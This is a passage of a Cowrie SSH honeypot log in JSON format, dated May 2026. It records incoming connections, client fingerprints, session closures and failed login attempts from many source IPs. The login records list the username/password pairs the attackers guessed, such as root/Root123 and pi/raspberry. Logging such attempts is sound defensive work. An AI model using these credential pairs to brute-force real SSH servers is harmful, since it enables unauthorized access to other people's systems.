"none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:41.905697Z","src_ip":"198.12.80.170","session":"a218d2e0226b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123","message":"login attempt [root/Root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:42.033986Z","src_ip":"198.12.80.170","session":"a218d2e0226b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:42.270169Z","src_ip":"213.209.159.158","session":"73cb763c9191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:42.274192Z","src_ip":"213.209.159.158","session":"73cb763c9191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:42.606733Z","src_ip":"103.27.238.120","session":"9e52ae819f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:42.653131Z","src_ip":"103.27.238.116","session":"7ea93fcfd39d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:43.059167Z","src_ip":"198.12.80.170","session":"a218d2e0226b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":47750,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f2ab27d3b75","protocol":"ssh","message":"New connection: 186.148.224.183:47750 (159.203.135.109:22) [session: 9f2ab27d3b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:45.566986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:45.572258Z","src_ip":"186.148.224.183","session":"9f2ab27d3b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:45.717818Z","src_ip":"186.148.224.183","session":"9f2ab27d3b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"greek","password":"123456","message":"login attempt [greek/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:46.330825Z","src_ip":"186.148.224.183","session":"9f2ab27d3b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:47.479733Z","src_ip":"186.148.224.183","session":"9f2ab27d3b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Webmaster2021","message":"login attempt [root/Webmaster2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:47.813260Z","src_ip":"213.209.159.158","session":"73cb763c9191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":44298,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de4cf545516","protocol":"ssh","message":"New connection: 95.182.81.25:44298 (10.17.0.5:22) [session: 7de4cf545516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:49.002684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:49.485244Z","src_ip":"95.182.81.25","session":"7de4cf545516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:49.490132Z","src_ip":"95.182.81.25","session":"7de4cf545516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:50.415046Z","src_ip":"213.209.159.158","session":"73cb763c9191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37594,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0fe75dbfee2","protocol":"ssh","message":"New connection: 213.209.159.158:37594 (159.203.135.109:22) [session: c0fe75dbfee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:50.493344Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":53890,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81ab823b541","protocol":"ssh","message":"New connection: 40.83.182.122:53890 (10.17.0.5:22) [session: e81ab823b541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:50.729821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:50.738991Z","src_ip":"40.83.182.122","session":"e81ab823b541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:50.821215Z","src_ip":"40.83.182.122","session":"e81ab823b541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Openpgsvc","password":"0p3npgsvcPWD","message":"login attempt [Openpgsvc/0p3npgsvcPWD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:51.124397Z","src_ip":"95.182.81.25","session":"7de4cf545516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555666","message":"login attempt [root/555666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:51.180820Z","src_ip":"40.83.182.122","session":"e81ab823b541","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:51.662450Z","src_ip":"213.209.159.158","session":"c0fe75dbfee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:51.666222Z","src_ip":"213.209.159.158","session":"c0fe75dbfee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:52.253318Z","src_ip":"95.182.81.25","session":"7de4cf545516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:52.295158Z","src_ip":"40.83.182.122","session":"e81ab823b541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":60174,"dst_ip":"10.17.0.5","dst_port":22,"session":"d820b6a579bf","protocol":"ssh","message":"New connection: 95.182.81.25:60174 (10.17.0.5:22) [session: d820b6a579bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:54.407108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:54.734223Z","src_ip":"95.182.81.25","session":"d820b6a579bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:54.739694Z","src_ip":"95.182.81.25","session":"d820b6a579bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:55.398042Z","src_ip":"95.182.81.25","session":"d820b6a579bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:56.882257Z","src_ip":"95.182.81.25","session":"d820b6a579bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":43430,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d317b513cf7","protocol":"ssh","message":"New connection: 202.53.94.246:43430 (159.203.135.109:22) [session: 3d317b513cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:56.939428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:56.944473Z","src_ip":"202.53.94.246","session":"3d317b513cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ww.123","message":"login attempt [root/Ww.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:57.119563Z","src_ip":"213.209.159.158","session":"c0fe75dbfee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:57.161326Z","src_ip":"202.53.94.246","session":"3d317b513cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r00t","password":"A@0599343813A@0599343813A@0599343813","message":"login attempt [r00t/A@0599343813A@0599343813A@0599343813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:58.061952Z","src_ip":"202.53.94.246","session":"3d317b513cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.182.81.25","src_port":60192,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b8588ce9d58","protocol":"ssh","message":"New connection: 95.182.81.25:60192 (10.17.0.5:22) [session: 0b8588ce9d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:59.080250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:59.179838Z","src_ip":"95.182.81.25","session":"0b8588ce9d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:59.184087Z","src_ip":"95.182.81.25","session":"0b8588ce9d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:59.281871Z","src_ip":"202.53.94.246","session":"3d317b513cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"budda279056","message":"login attempt [system/budda279056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:59.468514Z","src_ip":"95.182.81.25","session":"0b8588ce9d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:59.527426Z","src_ip":"213.209.159.158","session":"c0fe75dbfee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64120,"dst_ip":"159.203.135.109","dst_port":22,"session":"25d9d137a157","protocol":"ssh","message":"New connection: 213.209.159.158:64120 (159.203.135.109:22) [session: 25d9d137a157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:59.606097Z"}
